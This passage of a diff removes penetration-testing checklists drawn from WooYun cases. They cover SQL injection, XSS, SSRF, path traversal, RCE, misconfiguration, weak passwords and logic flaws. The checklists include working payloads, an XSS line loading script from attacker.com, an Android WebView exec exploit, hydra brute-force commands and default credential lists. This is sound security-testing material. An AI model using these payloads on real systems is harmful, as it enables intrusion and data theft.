2. **Log file exposure**
- Application logs containing sessions, credentials
- Debug endpoints left enabled in production
3. **API data over-exposure**
- JSONP endpoints returning user data cross-origin
- API responses including more fields than UI displays
- Sequential ID enumeration on order/user endpoints
4. **Database credential leak**
- Config files with plaintext DB credentials
- Error messages revealing connection strings
- GitHub/code repository credential exposure
5. **Session/credential leak**
- Session tokens in log files
- Credentials in URL parameters (GET requests)
- Default management passwords in documentation
## Source Control Exposure
| Path | Tool | Risk |
|------|------|------|
| `.svn/entries` | SVN | Source code + history |
| `.svn/wc.db` | SVN 1.7+ | SQLite with full paths |
| `.git/config` | Git | Remote URLs, credentials |
| `.git/HEAD` | Git | Branch info, clone source |
| `.DS_Store` | macOS | Directory listing |
| `.idea/` | JetBrains | Project config, DB creds |
| `WEB-INF/web.xml` | Java | Servlet mappings, config |
## Quick Test Vectors
```
# Source control files
/.svn/entries
/.svn/wc.db
/.git/config
/.git/HEAD
/.DS_Store
# Backup files
/backup.sql
/backup.tar.gz
/website.rar
/db.sql
/dump.sql
/*.bak
# Configuration files
/web.config
/wp-config.php
/config/database.yml
/application.properties
/.env
/phpinfo.php
# Log files
/logs/
/log/
/debug.log
/error.log
/seeyon/logs/ctp.log
# JSONP data leak
/api/userinfo?callback=test
# GitHub search for credentials
site:github.com "company.com" password
site:github.com "company.com" smtp
```
## Testing Methodology
1. Enumerate common sensitive file paths (source control, backups, configs)
2. Check for directory listing on all discovered directories
3. Search GitHub/GitLab for organization credential leaks
4. Test JSONP endpoints for cross-origin data exposure
5. Check error pages for stack traces and config details
6. Probe log file locations for session/credential leakage
7. Test sequential ID enumeration on data endpoints
8. Check API responses for excessive data exposure
9. Scan for debug/admin endpoints left in production
## Information Escalation Chain
```
Source code leak → Database credentials → Full database access
GitHub credential leak → Email access → VPN/internal access
Log file exposure → Session tokens → Account takeover
JSONP endpoint → User data → Credential stuffing
```
## Common Root Causes
- Development files (.svn, .git) deployed to production
- Backup files stored in web-accessible directories
- Debug/logging features enabled in production
- JSONP endpoints without access control
- Error messages revealing internal details
- Credentials committed to public code repositories
- Default management interfaces left accessible
@@ -1,95 +0,0 @@
# Logic Flaws Testing Checklist
> Derived from ~85 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context |
|-----------|---------|
| `code`, `validatecode` | SMS/email verification codes |
| `password`, `newPwd` | Password reset flows |
| `sign`, `timestamp` | Request signing mechanisms |
| `v`, `from` | Version/source parameters |
| `adultNum`, `childNum` | Quantity fields in orders |
| `amount`, `price` | Payment amounts |
| `token`, `newMobile` | Session/binding tokens |
| `flag`, `phone` | Password recovery flow control |
## Common Attack Patterns (by frequency)
1. **Arbitrary password reset** (most common)
- Verification code leaked in response
- Short/numeric verification codes (4-digit) with no rate limiting
- Verification not bound to phone/account
- Client-side verification bypass (modify response)
2. **Payment amount tampering**
- Price sent in client request, not validated server-side
- Negative quantity to reduce total
- Race condition in cart/checkout flow
3. **SMS/verification code abuse**
- No rate limit on code sending (SMS bombing)
- No expiration on verification codes
- Code reuse across different operations
4. **Authorization bypass (IDOR)**
- Sequential user/order IDs enable enumeration
- Delete/modify operations lack ownership check
5. **Client-side trust**
- JavaScript validation only, no server-side check
- Response manipulation to bypass checks
## Bypass Techniques
- **Response tampering**: Intercept and change server response (e.g., `false` to `true`)
- **Verification code brute-force**: 4-digit codes = 10,000 attempts, often no lockout
- **Base64 encoded codes**: Decode, enumerate, re-encode
- **Negative values**: Set quantity to `-1` to create credit
- **Step skipping**: Jump directly to final step of multi-step process
- **Parameter pollution**: Submit same parameter twice with different values
- **IP spoofing**: `X-Forwarded-For` to bypass IP-based restrictions
## Quick Test Vectors
```
# Password reset - verify code in response
1. Initiate reset, capture response
2. Check if verification code appears in JSON/HTML response
# Brute-force short verification codes
POST /verify?phone=TARGET&code=FUZZ
# Fuzz 0000-9999 with no rate limiting
# Payment tampering
# Original: amount=19900 (199.00)
# Modified: amount=1 (0.01)
# Negative quantity
# Original: count=1
# Modified: count=-1
# Skip verification step
# Go directly to /reset/step3 without completing step2
# Response manipulation
# Change {"result":"fail"} to {"result":"success"}
```
## Testing Methodology
1. Map all multi-step flows (registration, password reset, payment)
2. Test each step independently -- can steps be skipped?
3. Check if verification codes appear in responses
4. Test rate limiting on verification endpoints
5. Attempt parameter tampering on price/quantity fields
6. Verify server-side validation matches client-side
7. Check IDOR on all endpoints with user/object IDs
8. Test for race conditions on balance/inventory operations
## High-Impact Targets
- Password reset/recovery flows
- Payment and checkout processes
- SMS verification endpoints
- Account binding (email, phone, OAuth)
- Admin operations without re-authentication
- Coupon/discount redemption
## Common Root Causes
- Verification logic in client-side JavaScript only
- Verification codes returned in API responses
- No rate limiting on authentication attempts
- Price/amount accepted from client without server-side recalculation
- Sequential predictable IDs without authorization checks
- Multi-step processes that don't validate completion of prior steps
@@ -1,124 +0,0 @@
# Misconfiguration Testing Checklist
> Derived from ~41 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context |
|-----------|---------|
| `password`, `pwd` | Login forms for default creds |
| `cmd` | Command execution interfaces |
| `comment` | Input fields on exposed panels |
| `service` | Service selectors |
| `ObjName`, `MODE` | Management interface parameters |
## Common Misconfiguration Categories
### 1. Exposed Management Interfaces
| Service | Path/Port | Risk |
|---------|-----------|------|
| WebLogic Console | `:7001/console` | WAR deploy → shell |
| JBoss JMX | `/jmx-console/`, `/invoker/JMXInvokerServlet` | RCE |
| Tomcat Manager | `/manager/html` | WAR deploy → shell |
| phpMyAdmin | `/phpmyadmin/` | Database access |
| Struts2 | `/devmode.action` | RCE via OGNL |
| Spring Actuator | `/actuator/env` | Credential leak |
| Druid Monitor | `/druid/` | SQL query monitor |
### 2. DNS Zone Transfer
```bash
# Test for DNS zone transfer
dig axfr @ns1.target.com target.com
dig axfr @ns2.target.com target.com
# Reveals all DNS records, internal hostnames, IP addresses
```
### 3. Directory Listing
- Web server directory indexing enabled
- Backup directories accessible (`/backup/`, `/bak/`)
- Upload directories browsable (`/upload/`, `/uploads/`)
### 4. Service Exposure (No Authentication)
| Service | Port | Check |
|---------|------|-------|
| MongoDB | 27017 | `mongo TARGET:27017` |
| Redis | 6379 | `redis-cli -h TARGET` |
| Memcached | 11211 | `telnet TARGET 11211` |
| Elasticsearch | 9200 | `curl TARGET:9200` |
| Rsync | 873 | `rsync TARGET::` |
| FTP Anonymous | 21 | `ftp TARGET` (anonymous) |
| Docker API | 2375 | `curl TARGET:2375/info` |
### 5. IIS/Apache Specific
- IIS short filename disclosure (`~1` enumeration)
- IIS write permission enabled (PUT method)
- Apache `.htaccess` bypass
- `crossdomain.xml` / `clientaccesspolicy.xml` overly permissive
- Server-status/server-info pages exposed
## Quick Test Vectors
```
# Management interfaces
/console/
/manager/html
/jmx-console/
/admin/
/phpmyadmin/
/invoker/JMXInvokerServlet
# Configuration files
/web.xml
/web.config
/crossdomain.xml
/robots.txt
/sitemap.xml
# Debug/info endpoints
/phpinfo.php
/info.php
/server-status
/server-info
/.env
# DNS zone transfer
dig axfr @ns1.target.com target.com
# Service scan (common misconfig ports)
nmap -sV -p 21,873,2375,6379,8080,9200,11211,27017 TARGET
# FTP anonymous access
ftp TARGET # try anonymous / anonymous@
# Rsync enumeration
rsync TARGET::
rsync TARGET::module_name/
```
## Attack Escalation Paths
```
JBoss JMXInvokerServlet → Deploy WAR → Webshell → Internal network
Rsync anonymous → Source code → Database credentials → Data
FTP anonymous → web.config → DB credentials → SQL access
MongoDB no-auth → User data dump → Credential reuse
Redis no-auth → CONFIG SET dir → Write webshell
DNS zone transfer → Internal hostnames → Targeted attacks
```
## Testing Methodology
1. Scan for common management interfaces and default ports
2. Test DNS zone transfer on all nameservers
3. Check for directory listing on web roots and common paths
4. Probe database/cache services for unauthenticated access
5. Test IIS-specific vulnerabilities (short names, write perms)
6. Check cross-domain policy files for overly broad access
7. Verify debug/info endpoints are disabled in production
8. Test FTP and Rsync for anonymous access
9. Check for default installation files and directories
## Common Root Causes
- Management consoles bound to 0.0.0.0 instead of localhost
- Default installations not hardened post-deployment
- DNS servers allowing zone transfers to any requester
- Services deployed without authentication requirements
- Web server directory indexing enabled by default
- Debug features and info pages left in production
- Cross-domain policies set to wildcard (`*`)
- IIS write permissions not properly restricted
@@ -1,87 +0,0 @@
# Path Traversal Testing Checklist
> Derived from ~30 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Frequency | Context |
|-----------|-----------|---------|
| `filePath` / `filepath` | High | File download/read endpoints |
| `filename` | High | Download handlers |
| `url` / `urlParam` | Medium | Proxy/fetch endpoints |
| `RelatedPath` | Medium | File management panels |
| `dd` | Medium | Document download links |
| `image` | Low | Image proxy/thumbnail |
| `path`, `name`, `n` | Low | Generic file parameters |
| `FileID`, `FileName` | Low | Attachment download |
| `Accessory` | Low | CMS attachment handlers |
| `hDFile` | Low | Download handlers |
| `tpl` | Low | Template inclusion |
| `bg` | Low | Background/theme loaders |
## Common Attack Patterns
1. **Direct file read** via download endpoints (most common)
2. **Directory listing** through misconfigured web servers
3. **CMS-specific file read** (phpCMS, SiteServer, Yxcms, FineCMS)
4. **Backup file exposure** via predictable paths
5. **Configuration file leak** (database.php, web.xml, web.config)
6. **Null byte injection** to bypass extension checks
## Bypass Techniques
- `../` replaced with empty string? Use `....//` or `..././`
- Extension check? Use null byte: `../../etc/passwd%00.jpg`
- Absolute path blocked? Try relative traversal
- Forward slash filtered? Try backslash on Windows: `..\..\..\`
- URL encoding: `%2e%2e%2f` or double-encode `%252e%252e%252f`
- Browser vs curl: Some traversals only work via raw HTTP (not browser)
## Quick Test Vectors
```
# Basic traversal
../../../etc/passwd
..\..\..\..\windows\win.ini
# Null byte bypass
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
# Double-encoding
%252e%252e%252f%252e%252e%252fetc/passwd
# Filter bypass (double dots replaced)
....//....//....//etc/passwd
..././..././..././etc/passwd
# Java/Tomcat paths
/WEB-INF/web.xml
/WEB-INF/classes/
/META-INF/MANIFEST.MF
# Windows targets
..\..\..\..\windows\system32\drivers\etc\hosts
```
## High-Value Target Files
| Platform | Files |
|----------|-------|
| Linux | `/etc/passwd`, `/etc/shadow` |
| Windows | `win.ini`, `boot.ini` |
| PHP | `config.php`, `database.php`, `.env` |
| Java | `WEB-INF/web.xml`, `WEB-INF/classes/` |
| .NET | `web.config`, `machine.config` |
| General | `.svn/entries`, `.git/config`, `.bash_history` |
## Testing Methodology
1. Identify all file download/read endpoints
2. Map parameters that accept file paths or names
3. Test basic `../` traversal sequences (3-8 levels deep)
4. Attempt null byte injection for extension bypasses
5. Try encoding variations if basic traversal is filtered
6. Target configuration files for credential extraction
7. Check if directory listing is enabled on web roots
8. Test both GET and POST parameter variants
## Common Root Causes
- `file_get_contents($_GET['path'])` without sanitization
- Download handlers that pass user input directly to filesystem
- Incomplete filtering (replacing `../` once instead of recursively)
- Extension validation via client-side or bypassable checks
- CMS file managers exposing parent directory navigation
@@ -1,93 +0,0 @@
# Remote Code Execution (RCE) Testing Checklist
> Derived from 11 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context | Notes |
|-----------|---------|-------|
| `id` | 1x | Resource identifier triggering backend processing |
| `url` | 1x | URL parameter in protocol handlers |
| `repo` | 1x | Repository/package name parameters |
| `intent` | 1x | Android intent parameters |
| `apkpackagename` | 1x | Android package identifiers |
## Attack Pattern Distribution
| Pattern | Count | Percentage |
|---------|-------|------------|
| Remote command execution | 8 | 73% |
| Remote code execution | 3 | 27% |
## Vulnerability Categories
### 1. Android WebView Interface Exploitation (~35% of cases)
The most common RCE vector in this dataset targets mobile apps.
**Mechanism**: `addJavascriptInterface()` in Android WebView (pre-4.2)
exposes Java objects to JavaScript, enabling `java.lang.Runtime.exec()`.
**Detection pattern:**
```javascript
// Scan for exposed interfaces
for (var obj in window) {
if ("getClass" in window[obj]) {
// Vulnerable interface found
}
}
```
**Exploitation:**
```javascript
function execute(cmdArgs) {
return Navigator.getClass()
.forName("java.lang.Runtime")
.getMethod("getRuntime", null)
.invoke(null, null)
.exec(cmdArgs);
}
execute(["/system/bin/sh", "-c", "id"]);
```
### 2. Struts2 Remote Code Execution (~25% of cases)
Same as command execution but categorized under RCE.
- University and government systems running outdated Struts2
- `.action` endpoints with OGNL injection
### 3. Desktop Application Protocol Handlers (~15% of cases)
- Custom protocol schemes (e.g., `bdbrowser://`)
- IM client message handling leading to local file/command execution
- Auto-update mechanisms hijacked via MITM
### 4. Enterprise Software RCE (~15% of cases)
- SAGE ERP universal RCE
- ActiveX buffer overflow in client applications
- SourceForge-class platform vulnerabilities
### 5. Client-Side MITM to RCE (~10% of cases)
- Auto-update over HTTP (no HTTPS/signature verification)
- Attacker replaces update binary via network interception
- Affects desktop and mobile applications
## Quick Test Vectors
```
1. Android apps: Check for addJavascriptInterface in APK
2. Web apps: Test .action/.do endpoints for Struts2
3. Desktop apps: Test custom protocol handlers
4. Auto-update: Check if updates use HTTPS + signature verification
5. Enterprise: Check exposed management consoles
6. Mobile: Test WebView for JavaScript bridge interfaces
```
## High-Value Targets
- **Mobile applications**: Android apps with WebView bridges
- **IM/messaging clients**: Message rendering with code execution
- **Desktop applications**: Protocol handlers and auto-updaters
- **Enterprise ERP systems**: Server-side code execution
- **Educational institution sites**: Often running outdated frameworks
## Root Causes
| Cause | Frequency |
|-------|-----------|
| Insecure Android WebView bridges | Most common |
| Unpatched framework vulnerabilities | Very common |
| Unsafe protocol handler registration | Occasional |
| HTTP auto-update without verification | Occasional |
| ActiveX/legacy plugin vulnerabilities | Rare |
@@ -1,97 +0,0 @@
# SQL Injection Testing Checklist
> Derived from 234 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Frequency | Notes |
|-----------|-----------|-------|
| `id` | 46x | Most commonly injectable; numeric IDs in GET requests |
| `action` | 8x | Action dispatch parameters in MVC frameworks |
| `act` | 5x | Shortened action parameter variant |
| `type` / `typeId` / `typeid` | 8x | Category/type selectors, often unquoted integers |
| `username` | 2x | Login forms, user lookups |
| `s` | 3x | Search parameters |
| `aid` | 3x | Article/asset IDs |
| `mod` | 4x | Module selectors |
| `uid` / `rid` / `cid` / `pid` | 10x | Various entity ID parameters |
| `Channel` | 1x | Content management routing |
## Attack Pattern Distribution
| Pattern | Count | Percentage |
|---------|-------|------------|
| Direct injection | 42 | 71% |
| Data leakage | 4 | 7% |
| Directory traversal chain | 1 | 2% |
| Getshell via SQLi | 1 | 2% |
## Common Injection Techniques (by frequency)
### 1. Error-Based (most common)
```
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x71,
(SELECT user()),0x71,FLOOR(RAND(0)*2))x
FROM information_schema.tables GROUP BY x)a)--
```
### 2. UNION-Based
```
' UNION SELECT 1,2,3,CONCAT(username,0x23,password)
FROM admin_table--
```
```
UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),
CONCAT((...),FLOOR(RAND(0)*2))a
FROM information_schema.tables GROUP BY a)b
```
### 3. Time-Based Blind
```
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
' AND SLEEP(5)-- (MySQL)
```
### 4. Boolean-Based Blind
```
' AND 2020=2020 AND 'x'='x
' AND 1=1--
' AND 1=2--
```
### 5. Stacked Queries (MSSQL)
```
'; WAITFOR DELAY '0:0:5'--
'; EXEC xp_cmdshell('whoami')--
```
## Bypass Techniques
- **Comment injection**: `/**/` between SQL keywords to evade WAF
- **Case variation**: `SeLeCt`, `uNiOn`
- **URL encoding**: `%27` for single quote, `%20` for space
- **Double encoding**: `%2527` for single quote
- **Array parameter abuse**: `gids[100][0]=) AND (subquery)#`
- **Numeric context**: Unquoted integer parameters skip string-based filters
## Quick Test Vectors
```
1. id=1' (error detection)
2. id=1 AND 1=1 / id=1 AND 1=2 (boolean blind)
3. id=1' OR '1'='1 (auth bypass)
4. id=1 AND SLEEP(5) (time blind MySQL)
5. id=1'; WAITFOR DELAY '0:0:5'-- (time blind MSSQL)
6. id=1 UNION SELECT NULL,NULL,NULL-- (column enumeration)
7. id=1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- (error-based)
```
## High-Value Targets
- **Login forms**: `username` parameter with stacked queries
- **Search functions**: `keyword`/`s` parameters with UNION injection
- **Content pages**: `id`/`typeid` in article/news detail pages
- **API endpoints**: `action` parameters in `.do`/`.action` handlers
- **ASP.NET apps**: `__EVENTVALIDATION` and viewstate parameters
## Database Distribution
| DBMS | Observed Frequency |
|------|-------------------|
| MySQL 5.x | Most common |
| Microsoft SQL Server | Second most common |
| Oracle | Occasional (government systems) |
| Access | Legacy ASP applications |
@@ -1,99 +0,0 @@
# SSRF Testing Checklist
> Derived from ~40 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context |
|-----------|---------|
| `url` | URL fetch/proxy endpoints |
| `target` | Redirect or proxy targets |
| `inputFile` | File processing endpoints |
| `s_url` | Share/callback URLs |
| `imageUrl` | Image proxy/thumbnail |
| `callback` | JSONP/webhook endpoints |
| `link` | URL preview/unfurl |
| `src`, `ref` | Resource loading parameters |
## Common Attack Patterns
1. **Internal network scanning** via Weblogic UDDI Explorer (most common)
- `/uddiexplorer/SearchPublicRegistries.jsp` (CVE-2014-4210)
2. **URL proxy/fetch endpoints** with no domain restriction
3. **Image proxy SSRF** -- thumbnail generators that fetch arbitrary URLs
4. **Transcoding service SSRF** -- web page conversion services
5. **Webhook/callback SSRF** -- user-supplied callback URLs
6. **File processing SSRF** -- XML/document parsers fetching external resources
## Bypass Techniques
- **IP representations**: `127.0.0.1` → `0x7f000001`, `2130706433`, `0177.0.0.1`
- **DNS rebinding**: Domain that resolves to internal IP
- **URL encoding**: `%31%32%37%2e%30%2e%30%2e%31`
- **Redirect chain**: External URL that 302-redirects to internal address
- **IPv6**: `[::1]`, `[::ffff:127.0.0.1]`
- **URL parser differences**: `http://evil.com#@internal.host`
- **Protocol smuggling**: `gopher://`, `dict://`, `file://`
- **Partial domain match bypass**: `internal.company.com.evil.com`
## Quick Test Vectors
```
# Basic internal network probe
http://127.0.0.1
http://localhost
http://[::1]
http://0x7f000001
# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/
# Common internal services
http://INTERNAL_IP:8080 (Tomcat)
http://INTERNAL_IP:6379 (Redis)
http://INTERNAL_IP:27017 (MongoDB)
http://INTERNAL_IP:3306 (MySQL)
http://INTERNAL_IP:9200 (Elasticsearch)
http://INTERNAL_IP:11211 (Memcached)
# Weblogic SSRF (CVE-2014-4210)
/uddiexplorer/SearchPublicRegistries.jsp
?operator=http://INTERNAL_IP:PORT
&rdoSearch=name&txtSearchname=sdf
&txtSearchkey=&txtSearchfor=
&selfor=Business+location
&btnSubmit=Search
# Protocol smuggling
gopher://internal:6379/_INFO
dict://internal:6379/INFO
```
## Testing Methodology
1. Identify all endpoints that accept URLs or fetch remote resources
2. Test with `http://127.0.0.1` and known internal IP ranges
3. Observe response differences (timing, content, error messages)
4. Use time-based detection: compare response time for open vs closed ports
5. Test alternative IP representations and protocols
6. Check for Weblogic UDDI Explorer on Java applications
7. Probe for cloud metadata services
8. Test redirect-based bypasses if direct internal URLs are blocked
## Port Detection via Response Analysis
| Response | Meaning |
|----------|---------|
| Connection refused / different error | Port closed, host alive |
| Timeout | Host down or filtered |
| Content returned | Port open, service active |
| Specific error message | Port open, protocol mismatch |
## High-Value Internal Targets
- Redis (6379) -- can write webshell via `CONFIG SET dir`
- MongoDB (27017) -- often no auth, full DB access
- Memcached (11211) -- dump cached session data
- Elasticsearch (9200) -- search index data exposure
- Cloud metadata (169.254.169.254) -- IAM credentials
- Internal admin panels (8080, 8443, 9090)
## Common Root Causes
- URL fetch functions with no domain/IP allowlist
- Weblogic UDDI Explorer exposed to internet
- Image proxy services without input validation
- Incomplete blocklist (blocks `127.0.0.1` but not `0x7f000001`)
- No restriction on URL protocol scheme
@@ -1,89 +0,0 @@
# Unauthorized Access Testing Checklist
> Derived from ~55 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context |
|-----------|---------|
| `uid`, `id` | User/resource identifiers (IDOR) |
| `cmd` | Command/action parameters |
| `lstate` | Login state flags |
| `mod`, `do` | Module/action selectors |
| `ajax` | AJAX request flags (auth bypass) |
| `gsid`, `type` | Session/type identifiers |
| `trueName` | User lookup endpoints |
| `filePath` | File access parameters |
| `code`, `method` | API method selectors |
## Common Attack Patterns (by frequency)
1. **Horizontal privilege escalation (IDOR)** -- Change user ID to access other accounts
2. **Authentication bypass** -- Direct URL access to admin pages
3. **Unauthenticated service access** -- Redis, MongoDB, Memcached exposed without auth
4. **Vertical privilege escalation** -- Regular user accessing admin functions
5. **Cookie/session manipulation** -- Forged or replayed authentication tokens
6. **Sandbox escape** -- Kiosk/terminal breakout via UI interaction
## Unauthenticated Service Exposure
| Service | Default Port | Risk |
|---------|-------------|------|
| Redis | 6379 | Webshell write, key dump |
| MongoDB | 27017 | Full database access |
| Memcached | 11211 | Session data, credential leak |
| Elasticsearch | 9200 | Index data exposure |
| JBOSS JMX | 8080 | Remote code execution |
| Docker API | 2375 | Container escape |
| Zabbix | 10051 | Command execution |
| Hadoop | 50070 | HDFS data access |
## Bypass Techniques
- **Direct URL access**: Skip login page, navigate directly to admin endpoints
- **Cookie manipulation**: Set `isAdmin=1` or modify role in JWT
- **Parameter injection**: Add `&admin=true` or `&role=admin`
- **HTTP method switching**: Try PUT/DELETE when GET/POST is blocked
- **Path traversal to admin**: `/admin/../admin/` or `/./admin/`
- **Request header spoofing**: `X-Forwarded-For: 127.0.0.1` for IP allowlists
- **SQL injection in login**: `' OR 1=1--` in username/password fields
- **Default credentials**: admin/admin, weblogic/weblogic, root/root
## Quick Test Vectors
```
# Direct admin access
/admin/
/manager/
/console/
/system/
/management/
# Service probing
redis-cli -h TARGET -p 6379 INFO
mongo TARGET:27017
curl http://TARGET:9200/_cat/indices
# IDOR testing
GET /api/user/profile?id=1001 (own)
GET /api/user/profile?id=1002 (other)
GET /api/user/profile?id=1 (admin)
# Authentication bypass
# Remove session cookie and access protected endpoints
# Modify user role in cookie/JWT
# Access API endpoints directly without authentication
```
## Testing Methodology
1. Enumerate all endpoints and map authentication requirements
2. Access each endpoint without authentication
3. Test IDOR by modifying user/resource IDs in requests
4. Scan for exposed database/infrastructure services
5. Try default credentials on admin panels and services
6. Test cookie/token manipulation for privilege escalation
7. Check if API endpoints enforce same auth as web UI
8. Verify that role checks are server-side, not client-side
## Common Root Causes
- Missing authentication middleware on admin routes
- Authorization checks in frontend JavaScript only
- Database services bound to 0.0.0.0 without authentication
- Sequential predictable IDs without ownership verification
- Session/role stored in client-modifiable cookie
- Default credentials left unchanged after deployment
- IP-based access control that trusts proxy headers
@@ -1,115 +0,0 @@
# Weak Password Testing Checklist
> Derived from ~75 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context |
|-----------|---------|
| `id`, `uid` | User identifiers for enumeration |
| `cmd` | Command execution post-auth |
| `action` | Admin action parameters |
| `dir` | Directory browsing post-auth |
| `systemID` | System selector parameters |
| `APP_UNIT` | Application unit identifiers |
| `site_id` | Multi-tenant site selectors |
## Most Common Default Credentials
| Username | Password | Context |
|----------|----------|---------|
| `admin` | `admin` | Web application admin panels |
| `admin` | `123456` | Chinese web applications |
| `admin` | `admin123` | CMS backends |
| `admin` | `000000` | Enterprise systems |
| `admin` | `password` | Generic default |
| `weblogic` | `weblogic` | Oracle WebLogic console |
| `weblogic` | `12345678` | WebLogic (alternate) |
| `root` | `root` | Database, SSH |
| `test` | `test` | Development accounts |
| `sa` | *(empty)* | MSSQL default |
| `prtgadmin` | `prtgadmin` | PRTG monitoring |
| `tomcat` | `tomcat` | Apache Tomcat manager |
## Common Attack Patterns (by frequency)
1. **Admin panel weak password** (most common)
- CMS/OA systems with default `admin/123456`
- No account lockout after failed attempts
2. **Service weak password**
- WebLogic, JBoss, Tomcat management consoles
- Database services (MySQL, MSSQL, Oracle)
- Monitoring platforms (Zabbix, PRTG, Nagios)
3. **Infrastructure weak password**
- SSH/Telnet with default credentials
- Router/switch admin interfaces
- IPMI/BMC management (e.g., Huawei Tecal)
4. **Password → Shell escalation chain**
- WebLogic console → Deploy WAR → Webshell
- Tomcat manager → Deploy WAR → Code execution
- JBoss JMXInvokerServlet → Remote code execution
- Database access → OS command via xp_cmdshell/UDF
## High-Value Weak Password Targets
| Service | Default Port | Default Creds |
|---------|-------------|---------------|
| WebLogic | 7001 | weblogic/weblogic |
| Tomcat Manager | 8080 | tomcat/tomcat |
| JBoss | 8080 | admin/admin |
| phpMyAdmin | 80/8080 | root/*(empty)* |
| Jenkins | 8080 | *(no auth)* |
| Zabbix | 10051 | Admin/zabbix |
| Nagios | 80 | nagiosadmin/nagios |
| Grafana | 3000 | admin/admin |
| Router | 80 | admin/admin |
| VPN | 443 | *(varies)* |
## Quick Test Vectors
```
# Top password list for Chinese web applications
admin
123456
admin123
000000
password
12345678
test
888888
666666
abc123
admin888
qwerty
# Username enumeration
admin, administrator, root, test, guest
manager, system, sysadmin, operator
[company-name], [domain-prefix]
# Service-specific brute force
hydra -l admin -P passwords.txt TARGET http-post-form
hydra -l root -P passwords.txt TARGET ssh
hydra -l sa -P passwords.txt TARGET mssql
```
## Post-Authentication Escalation
1. **WebLogic** → Deploy WAR package → Webshell
2. **Tomcat** → Manager app → Deploy WAR → Shell
3. **JBoss** → JMXInvokerServlet → Remote execution
4. **phpMyAdmin** → SELECT INTO OUTFILE → Webshell
5. **Database** → Read config files → Internal credentials
6. **OA System** → Internal documents → VPN credentials
7. **Email** → Password reset → Other system access
## Testing Methodology
1. Enumerate admin panel and service login pages
2. Test default credentials for identified services
3. Attempt common username/password combinations
4. Check for account lockout policies
5. Test rate limiting on login endpoints
6. Verify password complexity requirements
7. Check for credential reuse across services
8. Test post-authentication escalation paths
## Common Root Causes
- Default credentials never changed after installation
- No password complexity policy enforcement
- No account lockout or rate limiting
- Management consoles exposed to internet
- Same password reused across multiple services
- Development/test accounts left in production
@@ -1,103 +0,0 @@
# XSS Testing Checklist
> Derived from 46 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Frequency | Notes |
|-----------|-----------|-------|
| `id` | 2x | Reflected in page content |
| `photourl` | 1x | Image URL parameters; direct injection |
| `w` / `kwd` | 1x | Search keyword parameters |
| `url` / `sohuurl` | 1x | URL redirect/embed parameters |
| `uid` / `status` | 1x | User profile fields |
| `auth_str` | 1x | Authentication string reflected in page |
| `m` | 1x | Module/method selectors |
| `rf` | 1x | Referrer parameters |
| `vers` | 1x | Version parameters in Flash embeds |
| `word` / `get` | 1x | Search and query parameters |
## XSS Type Distribution
| Type | Observed Cases | Risk |
|------|---------------|------|
| Stored XSS | ~65% | Critical - persists, affects all viewers |
| Reflected XSS | ~25% | High - requires victim click |
| DOM-based XSS | ~10% | High - client-side only |
## Common Attack Vectors (by frequency)
### 1. Stored XSS via User Input Fields
- **Forum posts / comments**: Most common stored XSS entry point
- **Profile fields**: Username, bio, personal description
- **Blog content**: Post titles and body content
- **Mobile app submissions**: WAP pages with weaker filtering than PC
- **Forwarded content**: Social sharing features re-rendering HTML
### 2. Reflected XSS via URL Parameters
- Search boxes and keyword parameters
- Error pages reflecting user input
- Redirect URL parameters
- Image/resource URL parameters
### 3. Flash-Based XSS
- SWF files with `allowscriptaccess="always"`
- Flash embed tags loading external SWF files
- ExternalInterface.call() in ActionScript
## Payload Catalog
### Basic Detection
```
"><script>alert(1)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
```
### Filter Bypass Payloads
```
<img src=# onerror=alert(/wooyun/)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
" onfocus="alert(1)" autofocus="
" onmouseout=javascript:alert(document.cookie)>
<iframe src=javascript:alert(1)>
```
### Encoded Payloads
```
<img/src=1 onerror=(function(){window.s=document.
createElement(String.fromCharCode(115,99,114,105,
112,116));window.s.src=String.fromCharCode(104,116,
116,112,...);document.body.appendChild(window.s)})()>
```
### External Script Loading
```
<script src=//attacker.com/xss.js></script>
"><script src=//short.example/xxxxx></script>
```
## Bypass Techniques
- **Tag alternatives**: Use `<img>`, `<select>`, `<textarea>`, `<svg>` when `<script>` is filtered
- **Event handlers**: `onfocus`, `onerror`, `onmouseout`, `onload` as alternatives to inline script
- **Autofocus trick**: `<input autofocus onfocus=alert(1)>` triggers without user interaction
- **HTML5 features**: New tags and event handlers bypass legacy filters
- **Flash embed**: `allowscriptaccess=always` enables JS execution from SWF
- **Case variation and encoding**: Mix case, use HTML entities, URL encoding
- **DOM context escape**: Close existing tags with `">` before injecting
## Quick Test Vectors
```
1. "><script>alert(1)</script> (basic reflected)
2. <img src=x onerror=alert(1)> (tag alternative)
3. " autofocus onfocus="alert(1) (attribute injection)
4. <svg/onload=alert(1)> (SVG context)
5. javascript:alert(1) (URL context)
6. </script><script>alert(1)</script> (script context escape)
```
## High-Value Targets
- **Comment/review systems**: Stored XSS reaching admin panels
- **User profile pages**: Username/bio fields rendered on public pages
- **Search results pages**: Reflected XSS via keyword parameters
- **Mobile/WAP versions**: Often weaker filtering than desktop
- **Social sharing features**: Content re-rendered across contexts
- **Admin panels via blind XSS**: Input fields reviewed by admins
@@ -1,130 +0,0 @@
# XXE (XML External Entity) Testing Checklist
> Derived from 25 real-world vulnerability cases (WooYun 2010-2016)
## Entry Points to Test
| Entry Point | Frequency | Notes |
|-------------|-----------|-------|
